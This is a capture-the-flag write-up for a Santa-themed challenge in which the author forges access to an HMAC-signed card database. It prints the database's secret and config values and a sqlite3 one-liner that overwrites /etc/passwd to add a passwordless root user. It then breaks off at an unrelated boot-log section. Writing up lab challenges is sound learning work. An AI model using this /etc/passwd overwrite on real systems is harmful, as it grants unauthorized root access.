Difficulty: ❄ ❄ ❄ ❄ ❄ Santa’s gone missing, and the only way to track him is by accessing the Wish List in his chest-modify the access_cards database to gain entry!
Hints
It’s In the Signature
From: Jewel Loggins I seem to remember there being a handy HMAC generator included in CyberChef.
Hidden in Plain Sight
From: Jewel Loggins It is so important to keep sensitive data like passwords secure. Often times, when typing passwords into a CLI (Command Line Interface) they get added to log files and other easy to access locations. It makes it trivial to step back in history and identify the password.
Silver trophy
The Santa's Little Helper - Access Card Maintenance Tool needs a password to modify the cards:
-------------------------------------------------------- ___ _ _ _ / __| | | | || | \__ \ | |__ | __ | |___/ |____| |_||_| _|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-' -------------------------------------------------------- Santa's Little Helper - Access Card Maintenance Tool Tool Name: slh options: -h, --help show this help message and exit --view-config View current configuration. --view-cards View current values of all access cards. --view-card ID View a single access card by ID. --set-access ACCESS_LEVEL Set access level of access card. Must be 0 (No Access) or 1 (Full Access). --id ID ID of card to modify. --passcode PASSCODE Passcode to make changes. --new-card Generate a new card ID. --------------------------------------------------------
1 2 3 4 5
slh@slhconsole\> slh --view-card 42 Details of card with ID: 42 (42, 'c06018b6-5e80-4395-ab71-ae5124560189', 0, 'ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd') slh@slhconsole\> slh --set-access 1 --id 42 Invalid passcode. Access not granted.
After a little bit of poking I could find the password in the history:
For the Gold trophy, I followed the hint by Jewel again: “There’s a tougher route if you’re up for the challenge to earn the Gold medal. It involves directly modifying the database and generating your own HMAC signature.”. Looking at the files, I found access_cards being a SQLite DB:
1 2 3 4
slh@slhconsole\> ls access_cards slh@slhconsole\> file access_cards access_cards: SQLite 3.x database, last written using SQLite version 3040001, file counter 4, database pages 32, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Inspecting its contents I found the config table containing the HMAC secret and the expected format:
1 2 3 4 5 6 7 8 9 10
slh@slhconsole\> sqlite3 access_cards SQLite version 3.40.1 2022-12-28 14:03:47 Enter ".help"for usage hints. sqlite> .tables access_cards config sqlite> SELECT * FROM config; 1|hmac_secret|9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e 2|hmac_message_format|{access}{uuid} 3|admin_password|3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717c20c9c1 4|app_version|1.0
A very quick python script later, I got the signature:
I then created myself a user and elevated privileges:
1 2 3 4 5 6
slh@slhconsole\> sqlite3 /dev/null -cmd ".output /etc/passwd"'select "thedead::0:0:root:/root:/bin/bash";' slh@slhconsole\> su thedead bash: cannot set terminal process group (9): Inappropriate ioctl for device bash: no job control in this shell thedead@98d3ae5e5586:/home/slh# file /root/check_hmac /root/check_hmac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4900f1057c817d78f6abf8c33793107b79dcd1a7, for GNU/Linux 2.6.32, stripped
Obviously, that led to nothing, but if I exited and restarted the terminal I got a nice user called I have no name!:
No route to hose
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
In: elvenconsole@1e000c00 Out: elvenconsole@1e000c00 Err: elvenconsole@1e000c00 Net: Warning: eth@1e100000 (eth0) using random MAC address - 5e:69:c8:f8:cf:5b eth0: eth@1e100000 Hit any key to stop autoboot: 0 Reindeer_PCIE_SET: gpio[19]=1 Using eth@1e100000 device TFTP from server 192.168.54.25; our IP address is 192.168.54.5 Filename 'magic_firmware.bin'. Load address: 0x80010000 Loading: * North Pole Retry count exceeded; starting again